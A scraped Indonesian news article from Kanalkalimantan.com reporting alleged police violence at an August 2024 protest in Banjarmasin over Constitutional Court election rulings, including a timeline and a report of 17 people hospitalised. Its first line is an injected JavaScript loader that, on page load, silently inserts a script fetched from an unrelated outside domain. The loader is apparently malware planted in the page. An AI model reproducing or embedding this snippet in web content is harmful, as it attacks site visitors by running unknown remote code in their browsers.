(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kalimantan Selatan

#KawalPutusanMK di Kalsel Dinodai Tindak Kekerasan, 17 Orang Dilarikan ke Rumah Sakit


KANALKALIMANTAN.COM, BANJARBARU – Aparat kepolisian diduga melakukan tindak kekerasan dan penganiayaan pada massa pengunjuk rasa mengawal putusan Mahkamah Konstitusi (MK) yang dilakukan aliansi mahasiswa dan masyarakat Kalimantan Selatan, Jum’at, (23/8/204) malam, di depan gedung DPRD Kalsel.

Aliansi Mahasiswa dan Masyarakat Kalimantan Selatan melalui sebuah siaran pers rilis, Sabtu (24/8/2024) siang, mengecam dan mengutuk keras tindakan represif polisi tersebut karena mengabaikan nilai-nilai hak demokrasi dan hak asasi manusia.

Mereka menghimpun massa yang hadir dalam aksi protes berjumlah ribuan orang melibatkan 35 kelompok, diantaranya 17 perguruan tinggi dan 18 komunitas organisasi masyarakat sipil.

Unjuk rasa dilakukan untuk merespon Baleg DPR RI yang berencana melakukan Revisi UU Pilkada dan membangkangi Putusan MK nomor 60/PUU-XII/2024 ini yaitu mengubah ambang batas (threshold) pencalonan kepala daerah dan wakil kepala daerah.

Baca juga: Bawaslu HSU Beri Bantuan Pengawas Desa Korban Kebakaran

MK menyatakan partai politik yang tidak mendapatkan kursi di DPRD bisa mencalonkan pasangan calon untuk maju dalam Pilkada. Hal ini juga mencegah ancaman Pilkada calon tunggal yang akhirnya melawan kotak kosong. Selain itu aksi damai ini juga untuk merespon putusan MK nomor 70/PUU-XXII/2024.

“Namun, sayangnya aspirasi dalam aksi damai ini tidak direspon positif oleh DPRD Kalsel. Malah cenderung seolah ingin dibenturkan dengan polisi yang berjaga,” tulis aliansi mahasiswa dan masyarakat Kalsel dalam siaran rilis yang diterima Kanalkalimantan.

Pihaknya menyatakan pada saat aksi dan setelah mengalami tindakan represif polisi, banyak massa aksi yang mengalami cedera dan luka-luka. Tindakan kekerasan polisi juga berdampak pada psikologi massa aksi bahkan keluarga.

“Polisi harus bertanggung jawab atas segala jenis kekerasan yang dilakukan. Polisi juga harus melakukan pemulihan terhadap kondisi fisik dan psikologi korban.
Bagaimanapun kekerasan dan penganiayaan oleh polisi tidak bisa dibenarkan dalam penanganan aksi menyuarakan pendapat. Kekerasan yang dilakukan polisi tersebut bisa jadi pelanggaran etik dan bahkan unsur pidana,” tegas Aliansi Mahasiswa dan Masyarakat Kalimantan Selatan.

Baca juga: KPU Banjarbaru Tunggu Perubahan PKPU Pasca Putusan MK

Dalam siaran pers itu juga dimuat kronologi selama aksi protes peringatan darurat demokrasi di Kalsel.

Kejadian berawal saat massa aksi mulai memadati titik kumpul di Jalan Jenderal Sudirman atau Kilometer Nol Banjarmasin, tepatnya depan kantor eks Gubernur Kalsel sekitar pukul 14.00 hingga 14.40 Wita.

Pukul 14.49 Wita, massa aksi mulai berjalan menuju kantor DPRD Kalsel untuk melakukan orasi dan menyampaikan tuntutan aksi. Tiba di depan kantor DPRD Kalsel massa aksi menyampaikan orasi dan bernegosiasi dengan perwakilan dari DPRD Kalsel.

Dalam negosiasi tersebut massa pengunjuk rasa ingin Ketua DPRD Kalsel langsung yang hadir menemui massa aksi dan menandatangani tuntutan. Hingga sekitar pukul 16.00 Wita negosiasi tidak dipenuhi DPRD Kalsel.

Baca juga: Sampai Malam di DPRD Kalsel, Ricuh Mahasiswa vs Polisi, Ada yang Luka dan Pingsan

Pada pukul 16.27 Wita sempat terjadi saling dorong karena negosiasi dengan DPRD tidak mencapai kesepakatan. Bahkan ada beberapa massa peserta unjuk rasa yang terjatuh dan terinjak. Pukul 16.35 Wita situasi kembali kondusif dan massa aksi mulai mengatur mimbar bebas bagi yang ingin orasi.

Hingga sekitar pukul 18.00 Wita, massa aksi unjuk rasa mengakhiri mimbar bebas dan kembali melakukan negosiasi dengan polisi. Massa aksi ingin membacakan tuntutan dan pernyataan sikap di halaman atau di dalam gedung DPRD Kalsel. Namun, upaya itu dihalangi polisi dan tidak didapat kesepakatan.

Pukul 19.18 Wita massa aksi ingin tetap masuk ke halaman DPRD Kalsel sesuai dengan yang diinginkan karena ketua DPRD Kalsel tidak kunjung hadir di tengah massa aksi. Sekitar pukul 19.30 hingga 20.00 Wita, terjadi kericuhan dan massa aksi mendapatkan tindak represif aparat kepolisian.

Pukul 20.13 Wita, massa gabungan mahasiswa sudah dipukul mundur oleh polisi dan bertahan di kawasan kuliner di sebelah gedung DPRD Kalsel untuk merawat sejumlah orang yang cedera dan luka-luka karena kekerasan dan penganiayaan yang dilakukan polisi.

Baca juga: 597 Peserta Ikuti Lomba Balogo Se-Kalsel di Martapura

Pukul 21.46 Wita massa aksi kembali ke titik kumpul, lalu membubarkan diri. Sebagian perwakilan massa menyebar ke beberapa rumah sakit sekitar Kota Banjarmasin untuk memastikan kondisi massa aksi yang dilarikan ke RS terdekat.

Informasi terakhir hingga rilis diterbitkan terdapat setidaknya 17 orang dilarikan ambulans ke rumah sakit dengan berbagai kondisi. Ada sebagian orang yang mengalami cedera dan luka-luka dirawat secara mandiri.

“Ada beberapa orang sempat ditangkap belum terkonfirmasi informasi dan datanya. Dari perkembangan informasi terakhir yang beredar, beberapa massa aksi yang ditangkap sudah
dikeluarkan oleh kepolisian,” tandas Aliansi Mahasiswa dan Masyarakat Kalimantan Selatan.

Namun, hingga saat ini perkembangan terkait kondisi massa aksi yang belum ada kabar dan sempat ditangkap masih dalam pengumpulan informasi. (Kanalkalimantan.com/wanda)

Reporter : wanda
Editor : bie


Muhammad Andi

Recent Posts

Bupati Saidi Mansyur dan Jajaran Pemkab Banjar Peringati Maulid Nabi Muhammad SAW

KANALKALIMANTAN.COM, MARTAPURA - Suasana khidmat mewarnai peringatan Maulid Nabi Muhammad SAW yang digelar Pemkab Banjar… Read More

4 jam ago

Relawan Muhidin-Hasnur ‘Panaskan Mesin’, Sepakat Tidak Lakukan Kampanye Hitam

KANALKALIMANTAN.COM, BANJARMASIN - Menjelang penetapan calon gubernur dan wakil gubernur relawan Muhidin-Hasnur dari 13 kabupaten… Read More

7 jam ago

Kabar Alih Fungsi Minggu Raya, Ini Respon Wali Kota Aditya

KANALKALIMANTAN.COM, BANJARBARU - Kabar Minggu Raya –kawasan kuliner- di jantung Ibu Kota Provinsi Kalimantan Selatan… Read More

8 jam ago

Menjaga Tradisi Banjar Baayun Maulid di Masjid Tertua Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Syair-syair maulid sebagai pujian kepada Nabi Muhammad SAW menggema di Masjid Sultan… Read More

8 jam ago

PAFI PC Sorong: Mitra Setia dalam Pengembangan Profesi Farmasi

KANALKALIMANTAN.COM - Kamu mungkin sudah tahu bahwa profesi farmasi adalah salah satu pilar penting dalam dunia… Read More

16 jam ago

Nurgita Tiyas Sapa Pedagang di Pasar Terapung Lokbaintan

KANALKALIMANTAN.COM, MARTAPURA - Suasana di Pasar Terapung Lokbaintan, Kecamatan Sungaitabuk, Kabupaten Banjar pada Minggu (15/9/2024)… Read More

1 hari ago

This website uses cookies.